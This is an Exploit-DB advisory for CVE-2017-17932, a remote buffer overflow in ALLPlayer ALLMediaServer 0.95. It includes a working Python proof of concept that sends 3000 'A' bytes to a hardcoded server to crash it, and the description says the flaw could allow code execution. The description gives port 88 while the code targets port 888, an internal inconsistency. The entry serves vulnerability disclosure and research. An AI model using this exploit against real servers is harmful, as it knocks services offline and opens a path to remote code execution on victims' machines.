EDB-ID: 43406 | Author: Aloyce J. Makalanga | Published: 2017-12-27 | CVE: CVE-2017-17932 | Type: Dos | Platform: Windows | Vulnerable App: N/A | # CVE: CVE-2017-17932
# Date: 27-12-2017
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.allmediaserver.org/
# Category: webapps
# Attack Type: Remote
# Impact: Code execution and/or Denial of Service
1. Description
A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.
2. Proof of Concept
#!/usr/bin/python
#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work.
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.205.131', 888))
buffer = "A" * 3000
s.send(buffer)
s.close()
if __name__ == '__main__':
import socket
main()
